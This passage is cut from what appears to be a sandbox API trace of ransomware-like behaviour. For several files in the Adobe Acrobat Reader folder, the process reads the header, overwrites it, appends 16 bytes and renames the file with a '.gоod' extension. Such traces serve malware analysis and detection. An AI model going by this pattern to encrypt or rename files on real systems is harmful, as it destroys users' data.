(x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\arh.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0075.264] GetFileType (hFile=0x764) returned 0x1 [0075.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0075.264] GetFileType (hFile=0x764) returned 0x1 [0075.264] ReadFile (in: hFile=0x764, lpBuffer=0x32cccc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x32cccc8*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0075.615] CloseHandle (hObject=0x764) returned 1 [0075.615] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", lpFilePart=0x0) returned 0x3d [0075.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0075.615] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\arh.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0075.615] GetFileType (hFile=0x764) returned 0x1 [0075.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0075.615] GetFileType (hFile=0x764) returned 0x1 [0075.616] WriteFile (in: hFile=0x764, lpBuffer=0x32cba40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x32cba40*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0075.616] CloseHandle (hObject=0x764) returned 1 [0075.618] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", lpFilePart=0x0) returned 0x3d [0075.618] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe.gоod", lpFilePart=0x0) returned 0x42 [0075.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0075.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\arh.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x29484aab, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x152b0)) returned 1 [0075.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0075.618] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\arh.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\arh.exe.gоod")) returned 1 [0075.619] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", lpFilePart=0x0) returned 0x69 [0075.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0075.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\click on 'change' to select default pdf handler.pdf"), fInfoLevelId=0x0, lpFileInformation=0x34b2e90 | out: lpFileInformation=0x34b2e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5)) returned 1 [0075.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0075.619] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", lpFilePart=0x0) returned 0x69 [0075.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0075.620] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\click on 'change' to select default pdf handler.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0075.620] GetFileType (hFile=0x764) returned 0x1 [0075.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0075.620] GetFileType (hFile=0x764) returned 0x1 [0075.620] SetFilePointer (in: hFile=0x764, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0075.620] ReadFile (in: hFile=0x764, lpBuffer=0x34b33c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x34b33c8*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0075.622] CloseHandle (hObject=0x764) returned 1 [0075.622] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", lpFilePart=0x0) returned 0x69 [0075.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0075.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\click on 'change' to select default pdf handler.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0075.622] GetFileType (hFile=0x764) returned 0x1 [0075.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0075.622] GetFileType (hFile=0x764) returned 0x1 [0075.622] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x2d9d5 [0075.622] WriteFile (in: hFile=0x764, lpBuffer=0x34b46f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x34b46f0*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0075.623] CloseHandle (hObject=0x764) returned 1 [0075.629] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", lpFilePart=0x0) returned 0x69 [0075.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0075.629] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\click on 'change' to select default pdf handler.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0075.629] GetFileType (hFile=0x764) returned 0x1 [0075.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0075.629] GetFileType (hFile=0x764) returned 0x1 [0075.629] ReadFile (in: hFile=0x764, lpBuffer=0x34b7c30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x34b7c30*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0075.963] CloseHandle (hObject=0x764) returned 1 [0075.963] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", lpFilePart=0x0) returned 0x69 [0075.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0075.963] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\click on 'change' to select default pdf handler.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0075.963] GetFileType (hFile=0x764) returned 0x1 [0075.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0075.963] GetFileType (hFile=0x764) returned 0x1 [0075.963] WriteFile (in: hFile=0x764, lpBuffer=0x34b68f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x34b68f8*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0075.963] CloseHandle (hObject=0x764) returned 1 [0075.967] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", lpFilePart=0x0) returned 0x69 [0075.967] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf.gоod", lpFilePart=0x0) returned 0x6e [0075.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0075.967] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\click on 'change' to select default pdf handler.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x297f22ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e5)) returned 1 [0075.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0075.967] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\click on 'change' to select default pdf handler.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\click on 'change' to select default pdf handler.pdf.gоod")) returned 1 [0075.968] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", lpFilePart=0x0) returned 0x3e [0075.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0075.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\eula.exe"), fInfoLevelId=0x0, lpFileInformation=0x37a9ec8 | out: lpFileInformation=0x37a9ec8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d4b4a4a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x15050)) returned 1 [0076.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0076.633] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", lpFilePart=0x0) returned 0x3e [0076.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0076.634] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\eula.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0076.634] GetFileType (hFile=0x764) returned 0x1 [0076.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0076.634] GetFileType (hFile=0x764) returned 0x1 [0076.634] SetFilePointer (in: hFile=0x764, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0076.634] ReadFile (in: hFile=0x764, lpBuffer=0x34239e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x34239e8*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0076.635] CloseHandle (hObject=0x764) returned 1 [0076.635] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", lpFilePart=0x0) returned 0x3e [0076.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0076.635] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\eula.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0076.635] GetFileType (hFile=0x764) returned 0x1 [0076.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0076.636] GetFileType (hFile=0x764) returned 0x1 [0076.636] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x15050 [0076.636] WriteFile (in: hFile=0x764, lpBuffer=0x3424c68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x3424c68*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0076.636] CloseHandle (hObject=0x764) returned 1 [0076.640] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", lpFilePart=0x0) returned 0x3e [0076.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0076.640] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\eula.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0076.640] GetFileType (hFile=0x764) returned 0x1 [0076.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0076.640] GetFileType (hFile=0x764) returned 0x1 [0076.640] ReadFile (in: hFile=0x764, lpBuffer=0x3426f10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x3426f10*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0076.777] CloseHandle (hObject=0x764) returned 1 [0076.778] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", lpFilePart=0x0) returned 0x3e [0076.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0076.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\eula.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0076.778] GetFileType (hFile=0x764) returned 0x1 [0076.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0076.778] GetFileType (hFile=0x764) returned 0x1 [0076.778] WriteFile (in: hFile=0x764, lpBuffer=0x3267350*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x3267350*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0076.779] CloseHandle (hObject=0x764) returned 1 [0076.781] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe", lpFilePart=0x0) returned 0x3e [0076.781] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe.gоod", lpFilePart=0x0) returned 0x43 [0076.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0076.781] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\eula.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d4b4a4a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x29fb1c6a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x15060)) returned 1 [0076.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0076.781] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\eula.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Eula.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\eula.exe.gоod")) returned 1 [0076.782] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", lpFilePart=0x0) returned 0x47 [0076.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0076.782] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\logtransport2.exe"), fInfoLevelId=0x0, lpFileInformation=0x32d8990 | out: lpFileInformation=0x32d8990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x207aaff6, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x56650)) returned 1 [0076.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0076.783] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", lpFilePart=0x0) returned 0x47 [0076.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0076.783] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\logtransport2.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0076.783] GetFileType (hFile=0x764) returned 0x1 [0076.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0076.783] GetFileType (hFile=0x764) returned 0x1 [0076.783] SetFilePointer (in: hFile=0x764, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0076.783] ReadFile (in: hFile=0x764, lpBuffer=0x32d8de8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x32d8de8*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0076.988] CloseHandle (hObject=0x764) returned 1 [0077.111] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", lpFilePart=0x0) returned 0x47 [0077.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0077.113] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\logtransport2.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0077.113] GetFileType (hFile=0x6b4) returned 0x1 [0077.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0077.113] GetFileType (hFile=0x6b4) returned 0x1 [0077.113] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x56650 [0077.113] WriteFile (in: hFile=0x6b4, lpBuffer=0x32e39a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x32e39a0*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0077.114] CloseHandle (hObject=0x6b4) returned 1 [0077.127] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe", lpFilePart=0x0) returned 0x47 [0077.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0077.127] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\LogTransport2.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\logtransport2.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0077.127] GetFileType (hFile=0x6b4) returned 0x1 [0077.127] SetThreadErrorMode 